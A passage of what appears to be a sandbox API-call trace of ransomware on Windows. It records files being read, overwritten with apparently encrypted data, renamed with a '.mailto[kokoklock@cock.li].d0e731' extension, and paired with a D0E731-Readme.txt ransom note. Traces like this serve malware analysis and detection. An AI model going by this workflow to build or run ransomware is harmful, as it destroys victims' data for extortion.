Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x170a1480 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0xef16d10e [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x641e0d68 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0xa249cc85 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x119295d3 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x3982306d [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x1d70366 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0xbc1e9125 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x3667248 [0069.724] RtlRandom (in: Seed=0x127bf77c | out: Seed=0x127bf77c) returned 0x7056bd00 [0069.736] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.736] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x127bf748, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x127bf748*=0x4096, lpOverlapped=0x0) returned 1 [0069.736] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.737] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.737] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.737] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc30 [0069.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc30) returned 1 [0069.738] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.738] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.738] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x127bf748, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x127bf748*=0x4096, lpOverlapped=0x0) returned 1 [0069.738] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.738] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0xd92d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.738] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x127bf780, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x127bf780*=0x20, lpOverlapped=0x0) returned 1 [0069.738] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.738] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.738] WriteFile (in: hFile=0x774, lpBuffer=0x342bbe0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x127bf794, lpOverlapped=0x0 | out: lpBuffer=0x342bbe0*, lpNumberOfBytesWritten=0x127bf794*=0x8, lpOverlapped=0x0) returned 1 [0069.738] WriteFile (in: hFile=0x774, lpBuffer=0x127bf7ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x127bf794, lpOverlapped=0x0 | out: lpBuffer=0x127bf7ac*, lpNumberOfBytesWritten=0x127bf794*=0x4, lpOverlapped=0x0) returned 1 [0069.738] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x127bf794, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x127bf794*=0x4, lpOverlapped=0x0) returned 1 [0069.738] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x127bf794, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x127bf794*=0x6c, lpOverlapped=0x0) returned 1 [0069.738] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x127bf794, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x127bf794*=0x20, lpOverlapped=0x0) returned 1 [0069.738] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x127bf794, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x127bf794*=0x4, lpOverlapped=0x0) returned 1 [0069.739] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.739] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.739] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bbe0) returned 1 [0069.739] CloseHandle (hObject=0x774) returned 1 [0069.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e63d8 [0069.741] wcscpy (in: _Dest=0x33e63d8, _Source="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps") returned="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps" [0069.741] wcscat (in: _Dest=0x33e63d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731" [0069.741] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps" (normalized: "c:\\users\\fd1hvy\\documents\\zowl_u2-hl-sb4.pps"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\zowl_u2-hl-sb4.pps.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.741] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e63d8) returned 1 [0069.742] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps", dwFileAttributes=0x20) returned 0 [0069.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426d90 [0069.742] wcscpy (in: _Dest=0x3426d90, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.742] wcscat (in: _Dest=0x3426d90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.742] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d90) returned 1 [0069.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427548) returned 1 [0069.742] RtlExitUserThread (Status=0x1) Thread: id = 437 os_tid = 0xd68 [0069.744] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\-e-xp3jnb4ja5h.avi")) returned 0x20 [0069.744] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi", dwFileAttributes=0x20) returned 1 [0069.744] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\-e-xp3jnb4ja5h.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.744] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x1283fba0 | out: lpFileSize=0x1283fba0*=15887) returned 1 [0069.744] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x3e0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.744] ReadFile (in: hFile=0x774, lpBuffer=0x1283fb74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1283fb70, lpOverlapped=0x0 | out: lpBuffer=0x1283fb74*, lpNumberOfBytesRead=0x1283fb70*=0x4, lpOverlapped=0x0) returned 1 [0069.744] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.744] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.744] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.744] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bbe0 [0069.744] NtQuerySystemTime (in: CurrentTime=0x1283fb4c | out: CurrentTime=0x1283fb4c*=132121176276347998) returned 0x0 [0069.744] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0xe56df5ba [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0xbeb6745a [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x57b039a [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x7ded2c20 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x5c3c1d3f [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x4a370889 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x3f67d5ee [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0xe6a8ae5e [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x66150d63 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x1ada44fd [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0xb08e400b [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x1987f90a [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x938949b5 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x5669b297 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0xcd8e0330 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x7a45d2b [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x3c32fbc8 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x4db88623 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x12788cde [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x61b2a915 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x2f641ef5 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x26f41549 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0xd5b243d9 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x17fb55fd [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x450f451 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x14c34edc [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x22af3e68 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x2118ea65 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x7d183678 [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x75b5a61b [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x717d788b [0069.745] RtlRandom (in: Seed=0x1283fb58 | out: Seed=0x1283fb58) returned 0x42770e03 [0069.756] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x3e0f, lpNumberOfBytesRead=0x1283fb4c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1283fb4c*=0x3e0f, lpOverlapped=0x0) returned 1 [0069.757] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1283fb14 | out: lpNewFilePointer=0x0) returned 1 [0069.757] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x3e0f, lpNumberOfBytesWritten=0x1283fb48, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1283fb48*=0x3e0f, lpOverlapped=0x0) returned 1 [0069.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc58 [0069.757] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc58) returned 1 [0069.757] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1283fb44, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x1283fb44*=0x20, lpOverlapped=0x0) returned 1 [0069.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.758] WriteFile (in: hFile=0x774, lpBuffer=0x342bc30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1283fb70, lpOverlapped=0x0 | out: lpBuffer=0x342bc30*, lpNumberOfBytesWritten=0x1283fb70*=0x8, lpOverlapped=0x0) returned 1 [0069.758] WriteFile (in: hFile=0x774, lpBuffer=0x1283fb88*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1283fb70, lpOverlapped=0x0 | out: lpBuffer=0x1283fb88*, lpNumberOfBytesWritten=0x1283fb70*=0x4, lpOverlapped=0x0) returned 1 [0069.758] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1283fb70, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1283fb70*=0x4, lpOverlapped=0x0) returned 1 [0069.758] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1283fb70, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1283fb70*=0x6c, lpOverlapped=0x0) returned 1 [0069.758] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1283fb70, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x1283fb70*=0x20, lpOverlapped=0x0) returned 1 [0069.758] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1283fb70, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1283fb70*=0x4, lpOverlapped=0x0) returned 1 [0069.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc30) returned 1 [0069.758] CloseHandle (hObject=0x774) returned 1 [0070.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33ead70 [0070.916] wcscpy (in: _Dest=0x33ead70, _Source="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi") returned="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi" [0070.916] wcscat (in: _Dest=0x33ead70, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731" [0070.916] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\-e-xp3jnb4ja5h.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\-e-xp3jnb4ja5h.avi.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.992] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ead70) returned 1 [0070.992] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi", dwFileAttributes=0x20) returned 0 [0070.992] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.992] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.992] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.992] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34820f8) returned 1 [0070.992] RtlExitUserThread (Status=0x1) Thread: id = 438 os_tid = 0xd70 [0069.764] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\0wq9p__q.mp4")) returned 0x20 [0069.764] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4", dwFileAttributes=0x20) returned 1 [0069.764] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\0wq9p__q.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.764] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x128bf9c4 | out: lpFileSize=0x128bf9c4*=23153) returned 1 [0069.764] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x5a6d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.765] ReadFile (in: hFile=0x774, lpBuffer=0x128bf998, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x128bf994, lpOverlapped=0x0 | out: lpBuffer=0x128bf998*, lpNumberOfBytesRead=0x128bf994*=0x4, lpOverlapped=0x0) returned 1 [0069.765] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc30 [0069.765] NtQuerySystemTime (in: CurrentTime=0x128bf970 | out: CurrentTime=0x128bf970*=132121176276504472) returned 0x0 [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x44e03ac1 [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0xcf0c2d5f [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x8a534651 [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x20e2de2a [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x3ffee4ff [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x7ba6278e [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x2cd4cd19 [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x2350a17b [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x7dde1344 [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0xfd4caab0 [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x8ca91794 [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0xa9cdb4ed [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x2ab6aa48 [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0xaa6790c8 [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x1d9476db [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0xf47223b9 [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x3fa95bbe [0069.765] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x956df1b3 [0069.766] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0xc5712707 [0069.766] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x754868ba [0069.766] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0xdf3304da [0069.766] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x7af4d1be [0069.766] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0xd56987d9 [0069.766] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0xf1e1b29b [0069.766] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0xd4437a4c [0069.766] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x712f122e [0069.766] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0xc07097f1 [0069.766] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x42fe24ed [0069.766] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x3d634603 [0069.766] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x2e5a76d7 [0069.766] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x2abebfa8 [0069.766] RtlRandom (in: Seed=0x128bf97c | out: Seed=0x128bf97c) returned 0x1eef116f [0069.777] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.777] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x128bf948, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x128bf948*=0x4096, lpOverlapped=0x0) returned 1 [0069.777] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.778] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.778] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc80 [0069.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc80) returned 1 [0069.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.778] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x128bf948, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x128bf948*=0x4096, lpOverlapped=0x0) returned 1 [0069.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.778] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x5a71, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.778] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x128bf980, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x128bf980*=0x20, lpOverlapped=0x0) returned 1 [0069.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.778] WriteFile (in: hFile=0x774, lpBuffer=0x342bc58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x128bf994, lpOverlapped=0x0 | out: lpBuffer=0x342bc58*, lpNumberOfBytesWritten=0x128bf994*=0x8, lpOverlapped=0x0) returned 1 [0069.778] WriteFile (in: hFile=0x774, 